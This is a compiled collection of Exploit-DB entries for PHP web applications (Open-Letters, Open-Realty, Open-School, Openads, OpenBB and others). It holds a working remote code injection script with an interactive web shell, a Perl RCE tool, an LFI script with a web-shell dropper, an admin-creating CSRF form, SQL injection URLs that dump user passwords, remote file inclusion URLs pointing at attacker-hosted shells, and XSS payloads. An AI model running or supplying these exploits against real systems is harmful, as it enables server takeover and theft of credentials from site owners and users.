deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36816
Description: Open-Letters - Remote PHP Code Injection
Type: webapps
Platform: php
Date: 2015-04-22
Author: TUNISIAN CYBER

Exploit:
<?php
  
/*
OutPut:
#[+] Author: TUNISIAN CYBER
#[+] Script coded BY: Egidio Romano aka EgiX
#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability
#[+] Date: 19-04-2015
#[+] Vendor: http://www.open-letters.de/
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] CVE:
#[+] Twitter: @TCYB3R
#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com
#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png
OL-shell> 
  
*/
  
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
  
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");
  
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}
  
print "#[+] Author: TUNISIAN CYBER\n";
print "#[+] Script coded BY: Egidio Romano aka EgiX\n";
print "#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability\n";
print "#[+] Date: 19-04-2015\n";
print "#[+] Vendor: http://www.open-letters.de/\n";
print "#[+] Type: WebAPP\n";
print "#[+] Tested on: KaliLinux (Debian)\n";
print "#[+] CVE:\n";
print "#[+] Twitter: @TCYB3R\n";
print "#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com\n";
print "#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png";
  
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /zenphoto/\n";
    die();
}
  
$host = $argv[1];
$path = $argv[2];
  
$exploit = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  = "POST {$path}external_scripts/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($exploit)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$exploit}";
  
http_send($host, $packet);
  
$packet  = "GET {$path}external_scripts/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
  
while(1)
{
    print "\nOL-shell> ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}
  
?>
Exploit-DB #1824
Description: open-medium.CMS 0.25 - '404.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-25
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#open-medium (0.25) - Content Management System - Remote File Include Vulnerabilities
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
##################################################################
[code]
404.php:

.......

} else {
// templates verwenden
if
(!@include($REDSYS["MYPATH"]["TEMPLATES"]."/redsys".$REDSYS["LanguagePath"]."/404.tmp"))
{
include($REDSYS["MYPATH"]["TEMPLATES"]."/redsys/404.tmp");
}
}

?>

[/code]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[open-mediumCMS_path]/redsys/404.php?REDSYS[MYPATH][TEMPLATES]=[evil_scripts]


###################################################################
#Elo ;-)

# milw0rm.com [2006-05-25]
Exploit-DB #5090
Description: Open-Realty 2.4.3 - 'last_module' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-02-09
Author: Iron

Exploit:
#!/usr/bin/perl
#
#	Vendor url: www.open-realty.org
#
# note: exploit requires Register_globals = On in php.ini
#							~Iron
#							http://www.randombase.com
require LWP::UserAgent;

print "#
# Open-Realty <= 2.4.3 Remote Code Execution exploit
# By Iron - randombase.com
# Greets to everyone at RootShell Security Group
#
# Example target url: http://www.target.com/openrealtydir/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
	$target = "http://".$target;
}
if($target !~ /\/$/)
{
	$target .= "/";
}
print "PHP code to evaluate? ";
chomp($code=<stdin>);
$code =~ s/(<\?php|\?>|<\?)//ig;
$target .= "include/class/adodb/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};".$code."//";

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->get($target);

if ($response->is_success)
{
	print "\n"."#" x 20 ."\n";
	print $response->content;
	print "\n"."#" x 20 ."\n";
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2008-02-09]
Exploit-DB #14684
Description: Open-Realty 2.5.7 - Local File Disclosure
Type: webapps
Platform: php
Date: 2010-08-18
Author: Nikola Petrov

Exploit:
<?php
/*
 * Exploit Title: 
 * Date: 2010-08-18
 * Author: Nikola Petrov
 * Vendor: http://open-realty.org/
 * Version: 2.5.7
 */
	/*
		vulnerable: Open-Realty 2.5.7
		LFI: /index.php
		
		upload image with: <?php system("echo \"<?php if(isset(\$_GET[\"cmd\"])) system(\$_GET[\"cmd\"]); ?>\" > sh.php"); ?>
		include the image and sh.php will be generated.
		proceed with sh.php

		MAGIC_QUOTES must be 'off' and %00 must not be replaced with \0.
	*/

	print "\n\n#########################################################################\n";
	print "#LFI discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
	print "#Date: 05.09.2009\n";
	print "#########################################################################\n\n";

	if($argc < 5) {
		print "usage: $argv[0] host port path file [debug: 1/0]\n";
		print "example: $argv[0] localhost 80 / ../../../../../../../../../../../../etc/passwd\n\n\n";
		exit();
	}

	$Host = $argv[1];
	$Port = $argv[2];
	$Path = $argv[3];
	$File = $argv[4];

	function HttpSend($aHost, $aPort, $aPacket) {
		$Response = "";

		if(!$Socket = fsockopen($aHost, $aPort)) {
			print "Error connecting to $aHost:$aPort\n\n";
			exit();
		}
		
		fputs($Socket, $aPacket);
		
		while(!feof($Socket)) $Response .= fread($Socket, 1024);
		
		fclose($Socket);
		
		return $Response;
	}

	$VulnRequest = "select_users_lang=". $File . "%00";
	
	$Packet  = "POST {$Path} HTTP/1.1\r\n";
	$Packet .= "Host: {$Host}\r\n";
	$Packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$Packet .= "Content-Length: " . strlen($VulnRequest) . "\r\n\r\n";
	$Packet .= "$VulnRequest\n";

	if($argv[5] == 1) print $Packet;

	print HttpSend($Host, $Port, $Packet);
?>
Exploit-DB #38037
Description: Open-Realty 2.5.8 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-11-16
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/56580/info

Open-Realty is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized administrative actions and gain access to the affected application. Other attacks are also possible.

Open-Realty 2.5.8 and prior versions are vulnerable; other versions may also be affected. 

<!-- Add Admin User --> 
 <form 
action="http://localhost/orealty/admin/index.php?action=user_manager" 
method="POST">
      <input type="hidden" name="action" value="createNewUser" />
      <input type="hidden" name="edit&#95;user&#95;name" value="user" />
      <input type="hidden" name="edit&#95;user&#95;pass" 
value="pa55w0rd" />
      <input type="hidden" name="edit&#95;user&#95;pass2" 
value="pa55w0rd" />
      <input type="hidden" name="user&#95;first&#95;name" value="hacker" 
/>
      <input type="hidden" name="user&#95;last&#95;name" value="smith" 
/>
      <input type="hidden" name="user&#95;email" 
value="hacker&#64;yehg&#46;net" />
      <input type="hidden" name="edit&#95;active" value="yes" />
      <input type="hidden" name="edit&#95;isAdmin" value="yes" />
      <input type="hidden" name="edit&#95;isAgent" value="yes" />
      <input type="hidden" name="limitListings" value="&#45;1" />
      <input type="hidden" name="edit&#95;limitFeaturedListings" 
value="&#45;1" />
      <input type="hidden" name="edit&#95;userRank" value="0" />
      <input type="hidden" name="edit&#95;canEditAllListings" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditAllUsers" value="yes" 
/>
      <input type="hidden" name="edit&#95;canEditSiteConfig" value="yes" 
/>
      <input type="hidden" name="edit&#95;canEditMemberTemplate" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditAgentTemplate" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditPropertyClasses" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditListingTemplate" 
value="yes" />
      <input type="hidden" name="edit&#95;canViewLogs" value="yes" />
      <input type="hidden" name="edit&#95;canModerate" value="yes" />
      <input type="hidden" name="edit&#95;canFeatureListings" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditListingExpiration" 
value="yes" />
      <input type="hidden" name="edit&#95;canExportListings" value="no" 
/>
      <input type="hidden" name="edit&#95;canPages" value="yes" />
      <input type="hidden" name="edit&#95;canVtour" value="yes" />
      <input type="hidden" name="edit&#95;canFiles" value="yes" />
      <input type="hidden" name="edit&#95;canUserFiles" value="yes" />
      <input type="hidden" name="edit&#95;canManageAddons" value="yes" 
/>
      <script>document.forms[0].submit()</script>
    </form>
Exploit-DB #8839
Description: Open-school 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-01
Author: OzX

Exploit:
Cms : Open-school
Version : 1.0
Archivo : Index.php
Parametro : id
Sitio :http://open-school.org
Url Vulnz :http://site.com/index.php?module=os_news&view=show&id=[SQLI]

Demo Injection:

Admin (User,Pass):
http://open-school.org/index.php?module=os_news&view=show&id=3+and+1=0+union+select+all+1,group_concat(username,0x3A,password),3,4,5,6,7,8,9,10+from+admins

Students (User,Pass):
http://open-school.org/index.php?module=os_news&view=show&id=3+and+1=0+union+select+all+1,group_concat(username,0x3A,password),3,4,5,6,7,8,9,10+from+students

Teachers (User,Pass):
http://open-school.org/index.php?module=os_news&view=show&id=3+and+1=0+union+select+all+1,group_concat(username,0x3A,password),3,4,5,6,7,8,9,10+from+teachers

Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net. 

# milw0rm.com [2009-06-01]
Exploit-DB #47212
Description: Open-School 3.0 / Community Edition 2.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-08-08
Author: Greg.Priest

Exploit:
# Exploit Title: [title]
# Date: [2019 08 06]
# Exploit Author: [Greg.Priest]
# Vendor Homepage: [https://open-school.org/]
# Software Link: []
# Version: [Open-School 3.0/Community Edition 2.3]
# Tested on: [Windows/Linux ]
# CVE : [CVE-2019-14696]


Open-School 3.0, and Community Edition 2.3, allows XSS via the /index.php?r=students/guardians/create id parameter.

/index.php?r=students/guardians/create&id=1[inject JavaScript Code]

Example:
/index.php?r=students/guardians/create&id=1<script>alert("PWN3D!")</script><script>alert("PWN3D!")</script>
Exploit-DB #30489
Description: Openads (PHPAdsNew) < 2.0.8 - 'lib-remotehost.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-11
Author: Ma$tEr-0F-De$a$t0r

Exploit:
source: https://www.securityfocus.com/bid/25277/info

Openads (formerly known as phpAdsNew) is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Openads 2.0.11 and prior versions are vulnerable. 

http://www.example.com/libraries/lib-remotehost.inc.php?phpAds_geoPlugin=EviL ShEll
Exploit-DB #17774
Description: openads-2.0.11 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-03
Author: HaCkErS eV!L

Exploit:
# Exploit Title: Openads-2.0.11 Remote File inclusion Vulnerability
# Google Dork: Just open you eyes ;) 
# Date: 02/09/2011
# Author: HaCkErS eV!L
# E-mail:Q8hack@msn.com
# Software Link: http://sourceforge.net/projects/phpadsnew/files/Current%20Release/Openads%202.0.11-pr1/Openads-2.0.11-pr1.zip/download
# Version: 2.0.11
# Tested on: ubuntu 


--------eXploit---------

#RFI: http://www.site.com/Openads-2.0.11/libraries/lib-view-main.inc.php?row=http://evil.txt?

----------------------------------------------------------
Greets to my friend Sirus and all TeaM KuWaiT HaCkErS ;)
----------------------------------------------------------
Exploit-DB #12486
Description: Openannuaire Openmairie Annuaire 2.00 - Local File Inclusion / Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-02
Author: cr4wl3r

Exploit:
===================================================================================
Openannuaire Openmairie Annuaire 2.00 (RFI/LFI) Multiple File Include Vulnerability
===================================================================================

[+] Openannuaire Openmairie Annuaire 2.00 (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/4432/openmairie_annuaire_2.00.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://[site]/[path]/obj/annuaire.class.php?path_om=[Shell]
http://[site]/[path]/obj/droit.class.php?path_om=[Shell]
http://[site]/[path]/obj/collectivite.class.php?path_om=[Shell]
http://[site]/[path]/obj/profil.class.php?path_om=[Shell]
http://[site]/[path]/obj/direction.class.php?path_om=[Shell]
http://[site]/[path]/obj/service.class.php?path_om=[Shell]
http://[site]/[path]/obj/directiongenerale.class.php?path_om=[Shell]
http://[site]/[path]/obj/utilisateur.class.php?path_om=[Shell]

[~] LFI:
http://[site]/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-05-03]
Exploit-DB #23336
Description: OpenAutoClassifieds 1.0 - 'Listing' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-11-04
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/8972/info

It has been reported that OpenAutoClassifieds is prone to a cross-site scripting vulnerability. The issue is reported to exist due insufficient sanitization of user-supplied data through the 'listings' parameter. The problem may allow a remote attacker to execute HTML or script code in the browser of a user following a malicious link created by an attacker.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

OpenAutoClassifieds version 1.0 is reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/openautoclassifieds/friendmail.php?listing=<
script>alert(document.domain);</script>
Exploit-DB #33190
Description: OpenAutoClassifieds 1.5.9 - SQL Injection
Type: webapps
Platform: php
Date: 2009-08-25
Author: Andrew Horton

Exploit:
source: https://www.securityfocus.com/bid/36173/info

OpenAutoClassifieds is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to OpenAutoClassifieds 1.6.0 are vulnerable.

The following proof-of-concept URIs are available:

http://www.example.com/openauto/xml_zone_data.php?filter=1%20union%20select%20concat(0x0a,user,0x3a,pass,0x3a,0x0a)%20from%20users

http://www.example.com/openauto/listings.php?min-price=&max_price=&start_zip=BENCHMARK(1000000,MD5(1))&zip_range=10000&state=Illinois&submit=Search&vehicle_type=&make=&model=&year=&listing_condition=&trans=&drive_train=&sellerid=
Exploit-DB #3991
Description: OpenBASE 0.6a - 'root_prefix' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-25
Author: DeltahackingTEAM

Exploit:
**********************************************************************************************************
                                              DeltaSecurityTEAM
                                              WwW.DeltaSecurity.iR
**********************************************************************************************************
* Portal Name = OpenBASE Alpha 0.6
* Class = Remote File Inclusion
* Risk = High (Remote File Execution)
* Download = Http://openbase.sourceforge.net
* Discoverd By = DeltahackingTEAM
* User In Delta Team = Dav00d_Cracker
* Conatact = Davood_cracker@Yahoo.com
--------------------------------------------------------------------------------------------
Vulnerability C0de :
Require_once($root_prefix . "nav.php");
--------------------------------------------------------------------------------------------
- Expl0it:
Http://localhost/[PATH]/index.php?root_prefix=http://Shellz?
Http://localhost/[PATH]/email_subscribe.php?root_prefix=http://Shellz?
Http://localhost/[PATH]/download.php?root_prefix=http://Shellz?
Http://localhost/[PATH]/development.php?root_prefix=http://Shellz?
--------------------------------------------------------------------------------------------
Gr33tz : Dr.Trojan , Hiv++ , D_7j , L0rd , RezaYavari , Vpc , all IRANIAN Hackers , and all Enemy
**********************************************************************************************************

# milw0rm.com [2007-05-25]
Exploit-DB #23483
Description: OpenBB 1.0 - 'board.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-27
Author: gr00vy

Exploit:
source: https://www.securityfocus.com/bid/9303/info

OpenBB is prone to a cross-site scripting vulnerability in the 'board.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via URI parameters. This input will be included in dynamically generated web pages. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. 

http://www.example.com/board.php?FID=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #21478
Description: OpenBB 1.0 - Unauthorized Moderator Access
Type: webapps
Platform: php
Date: 2002-05-24
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4823/info

OpenBB is web forum software written in PHP. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

OpenBB is reported to be vulnerable to a condition that will allow an unauthorized user to gain moderator or administrative access to forums. The attacker is only able to change a few properties of the forums. 

http://www.site.com/moderator.php?action=lock&TID=LIDDUFORUM&ismod=1

This will lock the forum. Other keywords include 'action=sticky' or 'action=important'.
Exploit-DB #21474
Description: OpenBB 1.0.0 RC3 - BBCode Cross Agent HTML Injection
Type: webapps
Platform: php
Date: 2002-05-24
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4819/info

OpenBB is web forum software written in PHP. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

OpenBB is reportedly vulnerable to HTML injection attacks. The vulnerability occurs when HTML code is replaced with BBCodes.

OpenBB uses 'BBCodes' in the place of HTML code to include images, links etc. However, HTML tags are not adequately replaced from with BBCodes. It is possible to inject arbitrary HTML code into forum messages. As a result, OpenBB is prone to cross-agent scripting attacks. Script code will be executed in the browser of the user viewing the forum message and may allow an attacker to steal cookie-based authentication credentials. 

[ img]http:// " onerror="ANYSCRIPT"[/img ]
Exploit-DB #21479
Description: OpenBB 1.0.0 RC3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-05-24
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4824/info

OpenBB is web forum software written in PHP. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

It has been reported that OpenBB is vulnerable to a cross-site scripting attack.

Attackers may exploit this vulnerability by constructing a link to one of these scripts containing malicious script code. If the link is sent to a OpenBB user and clicked on, the attacker-supplied script code will run in the context of the user's OpenBB session. The script code may obtain cookie values or perform unauthorized actions as the victim user.

http://targetsite/myhome.php?action=messages&box=<form%20name=a><input%20name=i%20value=XSS></form>
<script>alert(document.a.i.value)</script>
Exploit-DB #23908
Description: OpenBB 1.0.6 - 'myhome.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-05
Author: Mark Tesn

Exploit:
source: https://www.securityfocus.com/bid/10044/info

It has been reported that OpenBB is prone to a vulnerability that may allow malicious users to influence SQL queries of the affected application. This issue is due to a failure of the application to properly sanitize user-supplied URI data.

This may allow a remote attacker to manipulate query logic, potentially leading to access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation. 

http://www.example.com/myhome.php?action=readmsg&id=1[SQL CODE]